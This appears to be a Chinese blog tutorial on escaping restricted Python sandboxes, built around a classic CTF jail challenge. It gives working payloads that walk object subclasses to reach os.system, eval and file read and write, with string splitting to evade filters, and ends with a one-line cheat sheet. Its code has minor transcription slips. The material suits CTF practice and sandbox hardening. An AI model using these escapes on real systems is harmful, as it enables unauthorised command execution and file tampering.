感谢表哥们的博文
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
https://www.anquanke.com/post/id/85571
http://foreversong.cn/archives/1201
环境 :: Python 2.7 [MSC v.1500 64 bit (AMD64)] on win32
环境 :: Python 2.7.15 [GCC 7.3.0] on linux2

0x00 背景知识

内联函数

python的内联函数功能强大,可以调用一切函数做自己想做的事情。常用的有下面两个:

__builtins__
__import__
# 下面代码可列出所有的内联函数
dir(__builtins__)
# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)
>>> dir(__builtins__)
[...,'__debug__', '__doc__', '__import__', '__name__',...]

如你所见,在__builtins__中,有着__import__的方法,可以完成各种导入模块的操作

dir方法

dir可以作为我们检Python对象的第一个工具。在官方文档中有这样的描述

Without arguments, return the list of names in the current local scope. With an argument, attempt to return a list of valid attributes for that object.

  • dir()在没有参数的时候返回本地作用域中的名称列表
  • dir()在有参数的时候返回该对象的有效属性列表

来看下这样的内容

>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> class A():
...     def __init__(self):
...             self.a='a'
>>> dir(A)
['__doc__', '__init__', '__module__']

很好,我们已经发现dir()的妙用了。如果我们把字符串类(str)的所有方法展示出来的话,只要用 以下方法即可。请注意以下三种方法是等价的

>>> dir('')
>>> dir(''.__class__)
>>> A='';dir(A)

object 类与子类

对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。
关于MRO的内容,可以看看这篇文章,写的很好!

Python的主旨便是一切变量皆对象。而python的object类中集成了很多的基础函数,通过调用object类中的函数,可以完成很多事情。

比如说字符串对象,其实它的继承关系如下所示,通过__mro__方法可打印出其继承关系;通过__bases__方法可以获取上一层继承关系【如果是多层继承则返回上一层的东西,可能有多个】

str <= basestring <= object
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> class A(object):pass
>>> class B(object):pass
>>> class C(A,B):pass
>>> C.__bases__
(<class '__main__.A'>, <class '__main__.B'>)

在获取之后,返回的是一个元组,通过下标+__subclasses__的方法可以获取所有子类的列表。

>>> C.__bases__[0].__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, ...
# 这样写可以更好的理解 bases 方法
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
# 如你所见在 object类中有file类,可以完成文件读写操作

import 导入

关于python 的包导入机制,可以看看如下的文章
https://github.com/Liuchang0812/slides/tree/master/pycon2015cn
https://loggerhead.me/posts/python-de-import-ji-zhi.html

总的来说呢,就是import的时候,模块会被添加到sys.modules这个字典中,我们可以利用 sys.modules的方法来打印出当前包含的模块

python 沙箱逃逸总结-ShaoBaoBaoEr's Blog

如你所见,base64模块已经被包含进来了。另外,如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]的方法间接访问模块b。可以看如下的例子

>>> f = open('pyte5ting.py')
>>> f.read()
'import os'
>>> import pyte5ting
>>> pyte5ting.os.system('dir')
 驱动器 C 中的卷没有标签。
 卷的序列号是 2859-8A3C

 C:\Python27 的目录

2018/08/24  09:31    <DIR>          .
2018/08/24  09:31    <DIR>          ..
2018/07/27  19:13    <DIR>          DLLs
>>> pyte5ting.__dict__['os'].system('dir')
...【等价】

0x01 一次简单的攻防

当我们要读取目录的时候,我们往往会用到os.system函数。我们来想象一下,如果合并到一句话中,这个语句应该如何写

>>> __import__('os').system('dir')

现在管理员发现了这个沙箱非常的不安全,在交给我们之前,他执行了一下语句

del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
# 管理员删了很多的危险函数
del __builtins__.__dict__['...']

此时,你无法导入任何包

>>> import base64
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found

但是可以用 reload来重新导入模块。
但是请注意,在Python 3.0把reload内置函数移到了imp标准库模块中。所以python3中,这个方法已经失效了

reload(__builtins__)
import base64

最后,制作py2.7沙箱的时候,还需要删除reload的方法。

0x02 一道经典的CTF题目

每次当有博客介绍python沙箱逃逸的时候,都会介绍一道经典的ctf题目,代码很简短。目的是读取文件目录下的key文件

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

这道题目运行在python2.7的环境,在删除__import等危险函数的同时也删除了 reload

利用file类完成文件读取

很明显的一点是我们不能用 os.system('cat key')来读取文件,但是文件的读取还可以通过file的函数来执行,还记得上面说到的object子类么?

().__class__.__bases__[0].__subclasses__()[40]

上述返回的内容是<type 'file'>;我不知道如何追踪python的源码,应该是编译过的,但是我推测file类中的构造函数,实际上就是 open()函数

().__class__.__bases__[0].__subclasses__()[40]('pyte5ting.py')
# 等价于 open('pyte5ting.py')
().__class__.__bases__[0].__subclasses__()[40]('pyte5ting.py').read()
# 等价于 open('pyte5ting.py').read()

调用其他类中的OS模块完成文件读取

在当前沙箱中,__import__等模块被禁用,但是,在别的模块中如果本身加载有os的模块,我们是可以直接调用的。如下所示

class 'warnings.catch_warnings'
# 在这个类中,调用了os模块,我们可以间接把os模块调用进来。
# win 32
().__class__.__bases__[0].__subclasses__()[54]
# linux 2
().__class__.__bases__[0].__subclasses__()[59]
# linux 2 
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
# func_globals:返回一个包含函数全局变量的字典引用;

可否调用其他类中的模块恢复__import__等恶意函数?

我们继续回顾之前的那个有趣的类

>>> A = ().__class__.__bases__[0].__subclasses__()[54]()._module
>>> dir(A)
['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', ... 'formatwarning', 'linecache',...]

不难发现,在这个类中,除了有linecache外,还有着__builtins__模块。我们继续探索

>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__
# 这样会输出一大堆的东西,这里的__builtins__和系统的__builtins__不太一样。使用__class__的方法,我们可以发现这个__builtins__是一个字典。通过has_key的方法,可以发现我们想要的东西都有
# 注意,在windows下是没有这些方法的
>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__.has_key('reload')
True
>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__.has_key('__import__')
True

那么,在我们执行了删除命令后,这些方法可否存在呢?答案是否定的

>>> del __builtins__.__dict__['__import__']
>>> del __builtins__.__dict__['reload']

>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__.has_key('__import__')
False
>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__.has_key('reload')
False

0x03 python 代码执行函数与新特性 f修饰符

之前说了这么多,其实最重要的还是上述代码要执行。

在python中常见的代码执行函数如下所示

(1)timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比较经典了

eval('__import__("os").system("dir")')

(3)platform

import platform
print platform.popen('dir').read()

(4)getattr() 和 getattribute()

以下内容摘录自 Swing 的博客
python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。
如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

(5)f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/

只有在python版本在 3.6.0朝上才有这个方法。简单来说,可以理解为字符串外层套了一个exec(),对此可以尝试一下

In [2]: f'{print("shaobaobaoer")}'
shaobaobaoer
Out[2]: 'None'
In [3]: f'{__import__("os").system("dir")}'
 C:\Users\shaobao 的目录
 ...

这个有点类似于php中的<?php "${@phpinfo()}"; ?>但有一个问题就是python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。

0x03 常见逃逸思路

当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:

  • __class__ :获得当前对象的类
  • __bases__ :列出其基类
  • __mro__ :列出解析方法的调用顺序,类似于bases
  • __subclasses__():返回子类列表
  • __dict__ : 列出当前属性/函数的字典
  • func_globals:返回一个包含函数全局变量的字典引用

代码执行一句话总结:

# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

### 上述命令需要通过哦 exec 或者别的命令执行函数执行

python3
py2 [58] <class 'warnings.catch_warnings'> 对应 py3 [157]
().__class__.__bases__[0].__subclasses__()[157]()._module.__builtins__['__import__']("os").system("ls")
推荐的另外一个类
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

关于绕过

  • . 可替换为 getattr()
  • _ 可替换为 dir[0][0][0]